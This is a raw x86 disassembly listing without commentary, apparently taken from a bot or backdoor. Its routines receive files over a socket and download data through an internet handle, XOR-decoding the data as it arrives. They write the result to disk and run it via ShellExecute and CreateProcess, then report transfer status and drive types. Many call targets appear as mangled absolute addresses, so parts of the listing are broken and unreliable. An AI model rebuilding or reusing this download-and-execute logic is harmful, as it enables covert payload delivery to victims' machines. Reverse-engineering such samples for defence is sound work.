		mov	[ebp-2Ch], esi
		call	dword_4CBA00
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380C8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: ___:00416241j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB978
		push	dword ptr [ebp-2Eh]
		call	dword_4CB904
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: ___:004162B0j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: ___:0041628Bj
		movsx	eax, al


loc_416295:				; CODE XREF: ___:00416290j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B9C0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CB9FC
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FEC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: ___:004162BCj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 27107C1h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162F2
		push	offset unk_4380A8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: ___:004162E6j
		push	esi
		push	eax
		nop
		call	near ptr 2740AF5h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		push	eax
		call	dword_4CB9D0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_438090
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB9BC
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_438078
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: ___:00416380j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_4163DB
		push	offset unk_438054


loc_4163C8:				; CODE XREF: ___:0041620Aj
					; ___:00416248j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: ___:004163C1j
		push	edi
		call	dword_4CBA6C
		cmp	[ebp+8], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: ___:00416484j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp-4], eax


loc_4163FD:				; CODE XREF: ___:004163F8j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 27711CFh
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26F107Dh
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA24
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB9EC
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+8], eax
		jnz	loc_4163F0
		mov	edi, [ebp-18h]


loc_41648D:				; CODE XREF: ___:004163E5j
		push	dword ptr [ebp-8]
		call	near ptr 26608D5h
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_438028
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: ___:0041639Dj
		add	esp, 14h


loc_4164C9:				; CODE XREF: ___:004163D6j
		cmp	[ebp-50h], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: ___:004164CCj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA6C


loc_416506:				; CODE XREF: ___:004164FDj
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_416522:				; CODE XREF: ___:00416470j
					; ___:0041647Bj
		push	esi
		mov	esi, offset dword_438010
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_416563:				; DATA XREF: sub_401ACD+798o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 26709F6h
		nop
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 27107C1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_43818C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: ___:004165E4j
		push	eax
		nop
		call	near ptr 26608D5h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416615
		push	offset unk_43815C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: ___:0041660Cj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416646
		push	offset unk_43813C


loc_416633:				; CODE XREF: ___:004165EBj
					; ___:00416613j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: ___:0041662Cj
		mov	esi, 1000h


loc_41664B:				; CODE XREF: ___:004166B1j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB9D0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: ___:0041667Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_438010
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	1
		nop
		call	near ptr 26E0000h


loc_416712:				; CODE XREF: ___:00416672j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_438110
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: ___:00416641j
		cmp	[ebp-14h], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: ___:00416745j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416782
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: ___:00416777j
		cmp	[ebp+8], ebx
		jbe	short loc_416790
		push	dword ptr [ebp+8]
		call	dword_4CBA6C


loc_416790:				; CODE XREF: ___:00416785j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_4167A0:				; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB8D8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 27107C1h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416867
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_438358
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: ___:00416828j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_416867:				; CODE XREF: ___:00416808j
		xor	edi, edi
		nop
		call	near ptr 269083Ah
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416881:				; CODE XREF: ___:00416954j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB8E0
		cmp	[ebp-34h], esi
		jz	short loc_4168C5
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: ___:004168B2j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2700000h
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168ED
		mov	eax, [ebp+8]


loc_4168ED:				; CODE XREF: ___:004168E8j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: ___:004168DFj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416910
		cmp	edi, [ebp-3Ch]
		ja	short loc_41695A


loc_416910:				; CODE XREF: ___:00416909j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438330
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: ___:00416916j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438308


loc_41693A:				; CODE XREF: ___:00416928j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E710
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: ___:0041690Ej
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_4169AF
		cmp	edi, [ebp-3Ch]
		jz	short loc_4169AF
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_4382DC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: ___:00416964j
					; ___:00416969j
		nop
		call	near ptr 269083Ah
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26608D5h
		push	dword ptr [ebp-1Ch]
		call	sub_41BA91
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416A39
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4382B4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: ___:004169E1j
					; ___:004169F3j
		cmp	[ebp-14h], esi
		jz	loc_416C79
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416B34
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]	; DATA XREF: sub_556A70+C5Bo
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43827C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: ___:00416A92j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB940
		cmp	[ebp-30h], esi
		jnz	loc_416C79
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_438260
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: ___:00416A46j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43821C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: ___:00416B7Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43DB88
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2660B67h
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB92C
		call	sub_4188A6
		push	esi
		call	near ptr 77E75CB5h
		nop


loc_416C1E:				; CODE XREF: ___:00416C0Aj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4381E8
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: ___:004167E5j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4381BC


loc_416C38:				; CODE XREF: ___:00416C2Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: ___:00416C4Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: ___:00416A3Cj
					; ___:00416AC5j ...
		push	dword ptr [ebp-18h]
		call	dword_4CBA08
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: ___:004168BEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D35F8
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA34
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383AC
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383A8
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8C4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
